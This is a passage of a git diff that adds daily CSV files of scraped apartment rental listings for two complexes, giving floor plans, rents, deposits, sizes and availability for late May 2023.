$3,414/month",$300,"1,039+",/,Only One Left! +20230523,modera,B07,2 bd/2 ba,"Starting from $3,499/month",$300,"1,233",/,"Available May 24, 2023" +20230523,modera,S01L,Studio / 1 ba,"Starting from $2,682/month",$300,641+,/,Only One Left! diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230524.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230524.csv new file mode 100644 index 00000000000..7ec9c988f6f --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230524.csv @@ -0,0 +1,57 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230524,talisman,A12 (1x1),1 Bed 1 Bath,ContactUs,$300,482 - 495 sq.ft.,None,N/A +20230524,talisman,A7 (1x1),1 Bed 1 Bath,ContactUs,$300,547 - 569 sq.ft.,None,N/A +20230524,talisman,A10 (1x1),1 Bed 1 Bath,"$2,093",$300,578 - 665 sq.ft.,None,N/A +20230524,talisman,A1 (1x1),1 Bed 1 Bath,"$2,158",$300,604 - 671 sq.ft.,None,N/A +20230524,talisman,A11 (1x1),1 Bed 1 Bath,ContactUs,$300,605 - 651 sq.ft.,None,N/A +20230524,talisman,A3 (1x1),1 Bed 1 Bath,ContactUs,$300,609 - 642 sq.ft.,None,N/A +20230524,talisman,A2 (1x1),1 Bed 1 Bath,"$2,138",$300,617 - 715 sq.ft.,None,N/A +20230524,talisman,A8 (1x1),1 Bed 1 Bath,ContactUs,$300,631 sq.ft.,None,N/A +20230524,talisman,A6 (1x1),1 Bed 1 Bath,"$2,158",$300,650 sq.ft.,None,N/A +20230524,talisman,A9 (1x1),1 Bed 1 Bath,ContactUs,$300,663 sq.ft.,None,N/A +20230524,talisman,B5 (1x1),1 Bed 1 Bath,"$2,326",$300,674 - 775 sq.ft.,None,N/A +20230524,talisman,B2 (1x1),1 Bed 1 Bath,ContactUs,$300,706 - 739 sq.ft.,None,N/A +20230524,talisman,A4 (1x1),1 Bed 1 Bath,ContactUs,$300,713 - 716 sq.ft.,None,N/A +20230524,talisman,A5 (1x1),1 Bed 1 Bath,"$2,278",$300,734 - 739 sq.ft.,None,N/A +20230524,talisman,AL1 (1x1),1 Bed 1 Bath,ContactUs,$300,745 - 828 sq.ft.,None,N/A +20230524,talisman,B4 (1x1),1 Bed 1 Bath,ContactUs,$300,774 sq.ft.,None,N/A +20230524,talisman,B1 (1x1),1 Bed 1 Bath,ContactUs,$300,782 sq.ft.,None,N/A +20230524,talisman,AL2 (1x1),1 Bed 1 Bath,"$2,826",$300,785 - 852 sq.ft.,None,N/A +20230524,talisman,AL3 (1x1),1 Bed 1 Bath,ContactUs,$300,798 - 800 sq.ft.,None,N/A +20230524,talisman,B3 (1x1),1 Bed 1 Bath,ContactUs,$300,834 sq.ft.,None,N/A +20230524,talisman,AL4 (1x1),1 Bed 1 Bath,ContactUs,$300,863 sq.ft.,None,N/A +20230524,talisman,BL5 (1x1),1 Bed 1 Bath,"$2,936",$300,906 - 930 sq.ft.,None,N/A +20230524,talisman,AL5 (1x1),1 Bed 1 Bath,ContactUs,$300,944 sq.ft.,None,N/A +20230524,talisman,BL2 (2x2),2 Bed 2 Bath,"$2,981",$300,883 - 888 sq.ft.,None,N/A +20230524,talisman,C2 (2x2),2 Bed 2 Bath,ContactUs,$300,1088 - 1243 sq.ft.,None,N/A +20230524,talisman,CL6 (2x2),2 Bed 2 Bath,"$3,056",$300,890 - 945 sq.ft.,None,N/A +20230524,talisman,C9 (2x2),2 Bed 2 Bath,ContactUs,$300,923 sq.ft.,None,N/A +20230524,talisman,C5 (2x2),2 Bed 2 Bath,ContactUs,$300,934 - 984 sq.ft.,None,N/A +20230524,talisman,C3 (2x2),2 Bed 2 Bath,"$4,116",$300,1010 - 1103 sq.ft.,None,N/A +20230524,talisman,C1 (2x2),2 Bed 2 Bath,"$4,411",$300,1029 - 1294 sq.ft.,None,N/A +20230524,talisman,C10 (2x2),2 Bed 2 Bath,ContactUs,$300,1073 - 1207 sq.ft.,None,N/A +20230524,talisman,C7 (2x2),2 Bed 2 Bath,ContactUs,$300,1074 - 1131 sq.ft.,None,N/A +20230524,talisman,CL5 (2x2),2 Bed 2 Bath,"$3,246",$300,1140 - 1185 sq.ft.,None,N/A +20230524,talisman,C8 (2x2),2 Bed 2 Bath,"$4,261",$300,1155 sq.ft.,None,N/A +20230524,talisman,C11 (2x2),2 Bed 2 Bath,ContactUs,$300,1161 sq.ft.,None,N/A +20230524,talisman,C6 (2x2),2 Bed 2 Bath,ContactUs,$300,1170 sq.ft.,None,N/A +20230524,talisman,CL3 (2x2),2 Bed 2 Bath,"$3,346",$300,1228 - 1296 sq.ft.,None,N/A +20230524,talisman,CL1 (2x2),2 Bed 2 Bath,ContactUs,$300,1265 - 1297 sq.ft.,None,N/A +20230524,talisman,CL8 (2x2),2 Bed 2 Bath,ContactUs,$300,1360 sq.ft.,None,N/A +20230524,talisman,CL11 (2x2),2 Bed 2 Bath,ContactUs,$300,1422 sq.ft.,None,N/A +20230524,talisman,D1 (3x2),3 Bed 2 Bath,ContactUs,$300,1241 - 1362 sq.ft.,None,N/A +20230524,talisman,CL7 (2x2),2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230524,talisman,DL2 (3x2),3 Bed 2 Bath,ContactUs,$300,1428 sq.ft.,None,N/A +20230524,talisman,DL1 (3x2),3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A +20230524,modera,S01,Studio / 1 ba,"Starting from $2,018/month",$300,477+,/,Only One Left! +20230524,modera,S01L,Studio / 1 ba,"Starting from $2,701/month",$300,641+,/,Only One Left! +20230524,modera,S02,Studio / 1 ba,"Starting from $2,154/month",$300,498+,/,Only One Left! +20230524,modera,A01,1 bd/1 ba,"Starting from $2,090/month",$300,531,/,"Available Jun 11, 2023" +20230524,modera,A05,1 bd/1 ba,"Starting from $2,210/month",$300,596,/,"Available Jun 15, 2023" +20230524,modera,A09,1 bd/1 ba,"Starting from $2,345/month",$300,640,/,Only One Left! +20230524,modera,A10,1 bd/1 ba,"Starting from $2,460/month",$300,672+,/,Only One Left! +20230524,modera,A13D,1 bd/1 ba,"Starting from $3,067/month",$300,751,/,"Available Jun 09, 2023" +20230524,modera,B02,2 bd/2 ba,"Starting from $3,101/month",$300,989+,/,"Available Jun 08, 2023" +20230524,modera,B03,2 bd/2 ba,"Starting from $3,346/month",$300,"1,039+",/,"Available May 26, 2023" +20230524,modera,B07,2 bd/2 ba,"Starting from $3,431/month",$300,"1,233",/,"Available May 26, 2023" +20230524,modera,S01L,Studio / 1 ba,"Starting from $2,701/month",$300,641+,/,Only One Left! diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230525.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230525.csv new file mode 100644 index 00000000000..6d6b17a5c2b --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230525.csv @@ -0,0 +1,58 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230525,talisman,A12 (1x1),1 Bed 1 Bath,ContactUs,$300,482 - 495 sq.ft.,None,N/A +20230525,talisman,A7 (1x1),1 Bed 1 Bath,ContactUs,$300,547 - 569 sq.ft.,None,N/A +20230525,talisman,A10 (1x1),1 Bed 1 Bath,"$1,984",$300,578 - 665 sq.ft.,None,N/A +20230525,talisman,A1 (1x1),1 Bed 1 Bath,"$2,049",$300,604 - 671 sq.ft.,None,N/A +20230525,talisman,A11 (1x1),1 Bed 1 Bath,ContactUs,$300,605 - 651 sq.ft.,None,N/A +20230525,talisman,A3 (1x1),1 Bed 1 Bath,ContactUs,$300,609 - 642 sq.ft.,None,N/A +20230525,talisman,A2 (1x1),1 Bed 1 Bath,"$2,029",$300,617 - 715 sq.ft.,None,N/A +20230525,talisman,A8 (1x1),1 Bed 1 Bath,ContactUs,$300,631 sq.ft.,None,N/A +20230525,talisman,A6 (1x1),1 Bed 1 Bath,"$2,049",$300,650 sq.ft.,None,N/A +20230525,talisman,A9 (1x1),1 Bed 1 Bath,ContactUs,$300,663 sq.ft.,None,N/A +20230525,talisman,B5 (1x1),1 Bed 1 Bath,"$2,447",$300,674 - 775 sq.ft.,None,N/A +20230525,talisman,B2 (1x1),1 Bed 1 Bath,ContactUs,$300,706 - 739 sq.ft.,None,N/A +20230525,talisman,A4 (1x1),1 Bed 1 Bath,ContactUs,$300,713 - 716 sq.ft.,None,N/A +20230525,talisman,A5 (1x1),1 Bed 1 Bath,"$2,169",$300,734 - 739 sq.ft.,None,N/A +20230525,talisman,AL1 (1x1),1 Bed 1 Bath,ContactUs,$300,745 - 828 sq.ft.,None,N/A +20230525,talisman,B4 (1x1),1 Bed 1 Bath,ContactUs,$300,774 sq.ft.,None,N/A +20230525,talisman,B1 (1x1),1 Bed 1 Bath,ContactUs,$300,782 sq.ft.,None,N/A +20230525,talisman,AL2 (1x1),1 Bed 1 Bath,"$2,826",$300,785 - 852 sq.ft.,None,N/A +20230525,talisman,AL3 (1x1),1 Bed 1 Bath,ContactUs,$300,798 - 800 sq.ft.,None,N/A +20230525,talisman,B3 (1x1),1 Bed 1 Bath,ContactUs,$300,834 sq.ft.,None,N/A +20230525,talisman,AL4 (1x1),1 Bed 1 Bath,ContactUs,$300,863 sq.ft.,None,N/A +20230525,talisman,BL5 (1x1),1 Bed 1 Bath,"$2,936",$300,906 - 930 sq.ft.,None,N/A +20230525,talisman,AL5 (1x1),1 Bed 1 Bath,ContactUs,$300,944 sq.ft.,None,N/A +20230525,talisman,BL2 (2x2),2 Bed 2 Bath,"$2,981",$300,883 - 888 sq.ft.,None,N/A +20230525,talisman,C2 (2x2),2 Bed 2 Bath,ContactUs,$300,1088 - 1243 sq.ft.,None,N/A +20230525,talisman,CL6 (2x2),2 Bed 2 Bath,"$3,056",$300,890 - 945 sq.ft.,None,N/A +20230525,talisman,C9 (2x2),2 Bed 2 Bath,ContactUs,$300,923 sq.ft.,None,N/A +20230525,talisman,C5 (2x2),2 Bed 2 Bath,ContactUs,$300,934 - 984 sq.ft.,None,N/A +20230525,talisman,C3 (2x2),2 Bed 2 Bath,"$3,932",$300,1010 - 1103 sq.ft.,None,N/A +20230525,talisman,C1 (2x2),2 Bed 2 Bath,"$4,227",$300,1029 - 1294 sq.ft.,None,N/A +20230525,talisman,C10 (2x2),2 Bed 2 Bath,ContactUs,$300,1073 - 1207 sq.ft.,None,N/A +20230525,talisman,C7 (2x2),2 Bed 2 Bath,ContactUs,$300,1074 - 1131 sq.ft.,None,N/A +20230525,talisman,CL5 (2x2),2 Bed 2 Bath,"$3,246",$300,1140 - 1185 sq.ft.,None,N/A +20230525,talisman,C8 (2x2),2 Bed 2 Bath,"$4,077",$300,1155 sq.ft.,None,N/A +20230525,talisman,C11 (2x2),2 Bed 2 Bath,ContactUs,$300,1161 sq.ft.,None,N/A +20230525,talisman,C6 (2x2),2 Bed 2 Bath,ContactUs,$300,1170 sq.ft.,None,N/A +20230525,talisman,CL3 (2x2),2 Bed 2 Bath,"$3,346",$300,1228 - 1296 sq.ft.,None,N/A +20230525,talisman,CL1 (2x2),2 Bed 2 Bath,ContactUs,$300,1265 - 1297 sq.ft.,None,N/A +20230525,talisman,CL8 (2x2),2 Bed 2 Bath,ContactUs,$300,1360 sq.ft.,None,N/A +20230525,talisman,CL11 (2x2),2 Bed 2 Bath,ContactUs,$300,1422 sq.ft.,None,N/A +20230525,talisman,D1 (3x2),3 Bed 2 Bath,ContactUs,$300,1241 - 1362 sq.ft.,None,N/A +20230525,talisman,CL7 (2x2),2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230525,talisman,DL2 (3x2),3 Bed 2 Bath,ContactUs,$300,1428 sq.ft.,None,N/A +20230525,talisman,DL1 (3x2),3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A +20230525,modera,S01,Studio / 1 ba,"Starting from $2,018/month",$300,477+,/,Only One Left! +20230525,modera,S01L,Studio / 1 ba,"Starting from $2,701/month",$300,641+,/,Only One Left! +20230525,modera,S02,Studio / 1 ba,"Starting from $2,154/month",$300,498+,/,Only One Left! +20230525,modera,A01,1 bd/1 ba,"Starting from $2,090/month",$300,531,/,"Available Jun 11, 2023" +20230525,modera,A05,1 bd/1 ba,"Starting from $2,210/month",$300,596,/,"Available Jun 15, 2023" +20230525,modera,A09,1 bd/1 ba,"Starting from $2,345/month",$300,640,/,Only One Left! +20230525,modera,A10,1 bd/1 ba,"Starting from $2,460/month",$300,672+,/,Only One Left! +20230525,modera,A11,1 bd/1 ba,"Starting from $2,535/month",$300,667,/,"Available Jul 09, 2023" +20230525,modera,A13D,1 bd/1 ba,"Starting from $3,067/month",$300,751,/,"Available Jun 09, 2023" +20230525,modera,B02,2 bd/2 ba,"Starting from $3,136/month",$300,989+,/,"Available Jun 08, 2023" +20230525,modera,B03,2 bd/2 ba,"Starting from $3,381/month",$300,"1,039+",/,"Available May 27, 2023" +20230525,modera,B07,2 bd/2 ba,"Starting from $3,466/month",$300,"1,233",/,"Available May 26, 2023" +20230525,modera,S01L,Studio / 1 ba,"Starting from $2,701/month",$300,641+,/,Only One Left! diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230526.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230526.csv new file mode 100644 index 00000000000..65708fbd513 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230526.csv @@ -0,0 +1,58 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230526,talisman,A12 (1x1),1 Bed 1 Bath,ContactUs,$300,482 - 495 sq.ft.,None,N/A +20230526,talisman,A7 (1x1),1 Bed 1 Bath,ContactUs,$300,547 - 569 sq.ft.,None,N/A +20230526,talisman,A10 (1x1),1 Bed 1 Bath,"$1,954",$300,578 - 665 sq.ft.,None,N/A +20230526,talisman,A1 (1x1),1 Bed 1 Bath,"$2,019",$300,604 - 671 sq.ft.,None,N/A +20230526,talisman,A11 (1x1),1 Bed 1 Bath,ContactUs,$300,605 - 651 sq.ft.,None,N/A +20230526,talisman,A3 (1x1),1 Bed 1 Bath,ContactUs,$300,609 - 642 sq.ft.,None,N/A +20230526,talisman,A2 (1x1),1 Bed 1 Bath,"$1,999",$300,617 - 715 sq.ft.,None,N/A +20230526,talisman,A8 (1x1),1 Bed 1 Bath,ContactUs,$300,631 sq.ft.,None,N/A +20230526,talisman,A6 (1x1),1 Bed 1 Bath,"$2,019",$300,650 sq.ft.,None,N/A +20230526,talisman,A9 (1x1),1 Bed 1 Bath,ContactUs,$300,663 sq.ft.,None,N/A +20230526,talisman,B5 (1x1),1 Bed 1 Bath,"$2,447",$300,674 - 775 sq.ft.,None,N/A +20230526,talisman,B2 (1x1),1 Bed 1 Bath,ContactUs,$300,706 - 739 sq.ft.,None,N/A +20230526,talisman,A4 (1x1),1 Bed 1 Bath,ContactUs,$300,713 - 716 sq.ft.,None,N/A +20230526,talisman,A5 (1x1),1 Bed 1 Bath,"$2,139",$300,734 - 739 sq.ft.,None,N/A +20230526,talisman,AL1 (1x1),1 Bed 1 Bath,ContactUs,$300,745 - 828 sq.ft.,None,N/A +20230526,talisman,B4 (1x1),1 Bed 1 Bath,ContactUs,$300,774 sq.ft.,None,N/A +20230526,talisman,B1 (1x1),1 Bed 1 Bath,ContactUs,$300,782 sq.ft.,None,N/A +20230526,talisman,AL2 (1x1),1 Bed 1 Bath,"$2,798",$300,785 - 852 sq.ft.,None,N/A +20230526,talisman,AL3 (1x1),1 Bed 1 Bath,ContactUs,$300,798 - 800 sq.ft.,None,N/A +20230526,talisman,B3 (1x1),1 Bed 1 Bath,ContactUs,$300,834 sq.ft.,None,N/A +20230526,talisman,AL4 (1x1),1 Bed 1 Bath,ContactUs,$300,863 sq.ft.,None,N/A +20230526,talisman,BL5 (1x1),1 Bed 1 Bath,"$2,908",$300,906 - 930 sq.ft.,None,N/A +20230526,talisman,AL5 (1x1),1 Bed 1 Bath,ContactUs,$300,944 sq.ft.,None,N/A +20230526,talisman,BL2 (2x2),2 Bed 2 Bath,"$2,953",$300,883 - 888 sq.ft.,None,N/A +20230526,talisman,C2 (2x2),2 Bed 2 Bath,ContactUs,$300,1088 - 1243 sq.ft.,None,N/A +20230526,talisman,CL6 (2x2),2 Bed 2 Bath,"$3,128",$300,890 - 945 sq.ft.,None,N/A +20230526,talisman,C9 (2x2),2 Bed 2 Bath,ContactUs,$300,923 sq.ft.,None,N/A +20230526,talisman,C5 (2x2),2 Bed 2 Bath,ContactUs,$300,934 - 984 sq.ft.,None,N/A +20230526,talisman,C3 (2x2),2 Bed 2 Bath,"$3,710",$300,1010 - 1103 sq.ft.,None,N/A +20230526,talisman,C1 (2x2),2 Bed 2 Bath,"$4,005",$300,1029 - 1294 sq.ft.,None,N/A +20230526,talisman,C10 (2x2),2 Bed 2 Bath,ContactUs,$300,1073 - 1207 sq.ft.,None,N/A +20230526,talisman,C7 (2x2),2 Bed 2 Bath,ContactUs,$300,1074 - 1131 sq.ft.,None,N/A +20230526,talisman,CL5 (2x2),2 Bed 2 Bath,"$3,317",$300,1140 - 1185 sq.ft.,None,N/A +20230526,talisman,C8 (2x2),2 Bed 2 Bath,"$3,855",$300,1155 sq.ft.,None,N/A +20230526,talisman,C11 (2x2),2 Bed 2 Bath,ContactUs,$300,1161 sq.ft.,None,N/A +20230526,talisman,C6 (2x2),2 Bed 2 Bath,ContactUs,$300,1170 sq.ft.,None,N/A +20230526,talisman,CL3 (2x2),2 Bed 2 Bath,"$3,418",$300,1228 - 1296 sq.ft.,None,N/A +20230526,talisman,CL1 (2x2),2 Bed 2 Bath,ContactUs,$300,1265 - 1297 sq.ft.,None,N/A +20230526,talisman,CL8 (2x2),2 Bed 2 Bath,ContactUs,$300,1360 sq.ft.,None,N/A +20230526,talisman,CL11 (2x2),2 Bed 2 Bath,ContactUs,$300,1422 sq.ft.,None,N/A +20230526,talisman,D1 (3x2),3 Bed 2 Bath,ContactUs,$300,1241 - 1362 sq.ft.,None,N/A +20230526,talisman,CL7 (2x2),2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230526,talisman,DL2 (3x2),3 Bed 2 Bath,ContactUs,$300,1428 sq.ft.,None,N/A +20230526,talisman,DL1 (3x2),3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A +20230526,modera,S01,Studio / 1 ba,"Starting from $1,883/month",$300,477+,/,2 Available +20230526,modera,S01L,Studio / 1 ba,"Starting from $2,626/month",$300,641+,/,Only One Left! +20230526,modera,S02,Studio / 1 ba,"Starting from $2,079/month",$300,498+,/,Only One Left! +20230526,modera,A01,1 bd/1 ba,"Starting from $2,090/month",$300,531,/,"Available Jun 11, 2023" +20230526,modera,A05,1 bd/1 ba,"Starting from $2,210/month",$300,596,/,"Available Jun 15, 2023" +20230526,modera,A09,1 bd/1 ba,"Starting from $2,345/month",$300,640,/,Only One Left! +20230526,modera,A10,1 bd/1 ba,"Starting from $2,460/month",$300,672+,/,Only One Left! +20230526,modera,A11,1 bd/1 ba,"Starting from $2,535/month",$300,667,/,"Available Jul 09, 2023" +20230526,modera,A13D,1 bd/1 ba,"Starting from $3,067/month",$300,751,/,"Available Jun 09, 2023" +20230526,modera,B02,2 bd/2 ba,"Starting from $3,161/month",$300,989+,/,"Available Jun 08, 2023" +20230526,modera,B03,2 bd/2 ba,"Starting from $3,406/month",$300,"1,039+",/,"Available May 27, 2023" +20230526,modera,B07,2 bd/2 ba,"Starting from $3,491/month",$300,"1,233",/,Only One Left! +20230526,modera,S01L,Studio / 1 ba,"Starting from $2,626/month",$300,641+,/,Only One Left! diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230527.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230527.csv new file mode 100644 index 00000000000..3381521e410 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230527.csv @@ -0,0 +1,58 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230527,talisman,A12 (1x1),1 Bed 1 Bath,ContactUs,$300,482 - 495 sq.ft.,None,N/A +20230527,talisman,A7 (1x1),1 Bed 1 Bath,ContactUs,$300,547 - 569 sq.ft.,None,N/A +20230527,talisman,A10 (1x1),1 Bed 1 Bath,"$1,954",$300,578 - 665 sq.ft.,None,N/A +20230527,talisman,A1 (1x1),1 Bed 1 Bath,"$2,019",$300,604 - 671 sq.ft.,None,N/A +20230527,talisman,A11 (1x1),1 Bed 1 Bath,ContactUs,$300,605 - 651 sq.ft.,None,N/A +20230527,talisman,A3 (1x1),1 Bed 1 Bath,ContactUs,$300,609 - 642 sq.ft.,None,N/A +20230527,talisman,A2 (1x1),1 Bed 1 Bath,"$1,999",$300,617 - 715 sq.ft.,None,N/A +20230527,talisman,A8 (1x1),1 Bed 1 Bath,ContactUs,$300,631 sq.ft.,None,N/A +20230527,talisman,A6 (1x1),1 Bed 1 Bath,"$2,019",$300,650 sq.ft.,None,N/A +20230527,talisman,A9 (1x1),1 Bed 1 Bath,ContactUs,$300,663 sq.ft.,None,N/A +20230527,talisman,B5 (1x1),1 Bed 1 Bath,"$2,447",$300,674 - 775 sq.ft.,None,N/A +20230527,talisman,B2 (1x1),1 Bed 1 Bath,ContactUs,$300,706 - 739 sq.ft.,None,N/A +20230527,talisman,A4 (1x1),1 Bed 1 Bath,ContactUs,$300,713 - 716 sq.ft.,None,N/A +20230527,talisman,A5 (1x1),1 Bed 1 Bath,"$2,139",$300,734 - 739 sq.ft.,None,N/A +20230527,talisman,AL1 (1x1),1 Bed 1 Bath,ContactUs,$300,745 - 828 sq.ft.,None,N/A +20230527,talisman,B4 (1x1),1 Bed 1 Bath,ContactUs,$300,774 sq.ft.,None,N/A +20230527,talisman,B1 (1x1),1 Bed 1 Bath,ContactUs,$300,782 sq.ft.,None,N/A +20230527,talisman,AL2 (1x1),1 Bed 1 Bath,"$2,798",$300,785 - 852 sq.ft.,None,N/A +20230527,talisman,AL3 (1x1),1 Bed 1 Bath,ContactUs,$300,798 - 800 sq.ft.,None,N/A +20230527,talisman,B3 (1x1),1 Bed 1 Bath,ContactUs,$300,834 sq.ft.,None,N/A +20230527,talisman,AL4 (1x1),1 Bed 1 Bath,ContactUs,$300,863 sq.ft.,None,N/A +20230527,talisman,BL5 (1x1),1 Bed 1 Bath,"$2,908",$300,906 - 930 sq.ft.,None,N/A +20230527,talisman,AL5 (1x1),1 Bed 1 Bath,ContactUs,$300,944 sq.ft.,None,N/A +20230527,talisman,BL2 (2x2),2 Bed 2 Bath,"$2,953",$300,883 - 888 sq.ft.,None,N/A +20230527,talisman,C2 (2x2),2 Bed 2 Bath,ContactUs,$300,1088 - 1243 sq.ft.,None,N/A +20230527,talisman,CL6 (2x2),2 Bed 2 Bath,"$3,128",$300,890 - 945 sq.ft.,None,N/A +20230527,talisman,C9 (2x2),2 Bed 2 Bath,ContactUs,$300,923 sq.ft.,None,N/A +20230527,talisman,C5 (2x2),2 Bed 2 Bath,ContactUs,$300,934 - 984 sq.ft.,None,N/A +20230527,talisman,C3 (2x2),2 Bed 2 Bath,"$3,713",$300,1010 - 1103 sq.ft.,None,N/A +20230527,talisman,C1 (2x2),2 Bed 2 Bath,"$4,008",$300,1029 - 1294 sq.ft.,None,N/A +20230527,talisman,C10 (2x2),2 Bed 2 Bath,ContactUs,$300,1073 - 1207 sq.ft.,None,N/A +20230527,talisman,C7 (2x2),2 Bed 2 Bath,ContactUs,$300,1074 - 1131 sq.ft.,None,N/A +20230527,talisman,CL5 (2x2),2 Bed 2 Bath,"$3,317",$300,1140 - 1185 sq.ft.,None,N/A +20230527,talisman,C8 (2x2),2 Bed 2 Bath,"$3,858",$300,1155 sq.ft.,None,N/A +20230527,talisman,C11 (2x2),2 Bed 2 Bath,ContactUs,$300,1161 sq.ft.,None,N/A +20230527,talisman,C6 (2x2),2 Bed 2 Bath,ContactUs,$300,1170 sq.ft.,None,N/A +20230527,talisman,CL3 (2x2),2 Bed 2 Bath,"$3,418",$300,1228 - 1296 sq.ft.,None,N/A +20230527,talisman,CL1 (2x2),2 Bed 2 Bath,ContactUs,$300,1265 - 1297 sq.ft.,None,N/A +20230527,talisman,CL8 (2x2),2 Bed 2 Bath,ContactUs,$300,1360 sq.ft.,None,N/A +20230527,talisman,CL11 (2x2),2 Bed 2 Bath,ContactUs,$300,1422 sq.ft.,None,N/A +20230527,talisman,D1 (3x2),3 Bed 2 Bath,ContactUs,$300,1241 - 1362 sq.ft.,None,N/A +20230527,talisman,CL7 (2x2),2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230527,talisman,DL2 (3x2),3 Bed 2 Bath,ContactUs,$300,1428 sq.ft.,None,N/A +20230527,talisman,DL1 (3x2),3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A +20230527,modera,S01,Studio / 1 ba,"Starting from $1,883/month",$300,477+,/,2 Available +20230527,modera,S01L,Studio / 1 ba,"Starting from $2,626/month",$300,641+,/,Only One Left! +20230527,modera,S02,Studio / 1 ba,"Starting from $2,079/month",$300,498+,/,Only One Left! +20230527,modera,A01,1 bd/1 ba,"Starting from $2,090/month",$300,531,/,"Available Jun 11, 2023" +20230527,modera,A05,1 bd/1 ba,"Starting from $2,210/month",$300,596,/,"Available Jun 15, 2023" +20230527,modera,A09,1 bd/1 ba,"Starting from $2,345/month",$300,640,/,Only One Left! +20230527,modera,A10,1 bd/1 ba,"Starting from $2,460/month",$300,672+,/,Only One Left! +20230527,modera,A11,1 bd/1 ba,"Starting from $2,535/month",$300,667,/,"Available Jul 09, 2023" +20230527,modera,A13D,1 bd/1 ba,"Starting from $3,067/month",$300,751,/,"Available Jun 09, 2023" +20230527,modera,B02,2 bd/2 ba,"Starting from $3,161/month",$300,989+,/,"Available Jun 08, 2023" +20230527,modera,B03,2 bd/2 ba,"Starting from $3,406/month",$300,"1,039+",/,Only One Left! +20230527,modera,B07,2 bd/2 ba,"Starting from $3,491/month",$300,"1,233",/,Only One Left! +20230527,modera,S01L,Studio / 1 ba,"Starting from $2,626/month",$300,641+,/,Only One Left! diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230528.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230528.csv new file mode 100644 index 00000000000..729daf0db6b --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230528.csv @@ -0,0 +1,58 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230528,talisman,A12 (1x1),1 Bed 1 Bath,ContactUs,$300,482 - 495 sq.ft.,None,N/A +20230528,talisman,A7 (1x1),1 Bed 1 Bath,ContactUs,$300,547 - 569 sq.ft.,None,N/A +20230528,talisman,A10 (1x1),1 Bed 1 Bath,"$1,954",$300,578 - 665 sq.ft.,None,N/A +20230528,talisman,A1 (1x1),1 Bed 1 Bath,"$2,019",$300,604 - 671 sq.ft.,None,N/A +20230528,talisman,A11 (1x1),1 Bed 1 Bath,ContactUs,$300,605 - 651 sq.ft.,None,N/A +20230528,talisman,A3 (1x1),1 Bed 1 Bath,ContactUs,$300,609 - 642 sq.ft.,None,N/A +20230528,talisman,A2 (1x1),1 Bed 1 Bath,"$1,999",$300,617 - 715 sq.ft.,None,N/A +20230528,talisman,A8 (1x1),1 Bed 1 Bath,ContactUs,$300,631 sq.ft.,None,N/A +20230528,talisman,A6 (1x1),1 Bed 1 Bath,"$2,019",$300,650 sq.ft.,None,N/A +20230528,talisman,A9 (1x1),1 Bed 1 Bath,ContactUs,$300,663 sq.ft.,None,N/A +20230528,talisman,B5 (1x1),1 Bed 1 Bath,"$2,447",$300,674 - 775 sq.ft.,None,N/A +20230528,talisman,B2 (1x1),1 Bed 1 Bath,ContactUs,$300,706 - 739 sq.ft.,None,N/A +20230528,talisman,A4 (1x1),1 Bed 1 Bath,ContactUs,$300,713 - 716 sq.ft.,None,N/A +20230528,talisman,A5 (1x1),1 Bed 1 Bath,"$2,139",$300,734 - 739 sq.ft.,None,N/A +20230528,talisman,AL1 (1x1),1 Bed 1 Bath,ContactUs,$300,745 - 828 sq.ft.,None,N/A +20230528,talisman,B4 (1x1),1 Bed 1 Bath,ContactUs,$300,774 sq.ft.,None,N/A +20230528,talisman,B1 (1x1),1 Bed 1 Bath,ContactUs,$300,782 sq.ft.,None,N/A +20230528,talisman,AL2 (1x1),1 Bed 1 Bath,"$2,798",$300,785 - 852 sq.ft.,None,N/A +20230528,talisman,AL3 (1x1),1 Bed 1 Bath,ContactUs,$300,798 - 800 sq.ft.,None,N/A +20230528,talisman,B3 (1x1),1 Bed 1 Bath,ContactUs,$300,834 sq.ft.,None,N/A +20230528,talisman,AL4 (1x1),1 Bed 1 Bath,ContactUs,$300,863 sq.ft.,None,N/A +20230528,talisman,BL5 (1x1),1 Bed 1 Bath,"$2,908",$300,906 - 930 sq.ft.,None,N/A +20230528,talisman,AL5 (1x1),1 Bed 1 Bath,ContactUs,$300,944 sq.ft.,None,N/A +20230528,talisman,BL2 (2x2),2 Bed 2 Bath,"$2,953",$300,883 - 888 sq.ft.,None,N/A +20230528,talisman,C2 (2x2),2 Bed 2 Bath,ContactUs,$300,1088 - 1243 sq.ft.,None,N/A +20230528,talisman,CL6 (2x2),2 Bed 2 Bath,"$3,128",$300,890 - 945 sq.ft.,None,N/A +20230528,talisman,C9 (2x2),2 Bed 2 Bath,ContactUs,$300,923 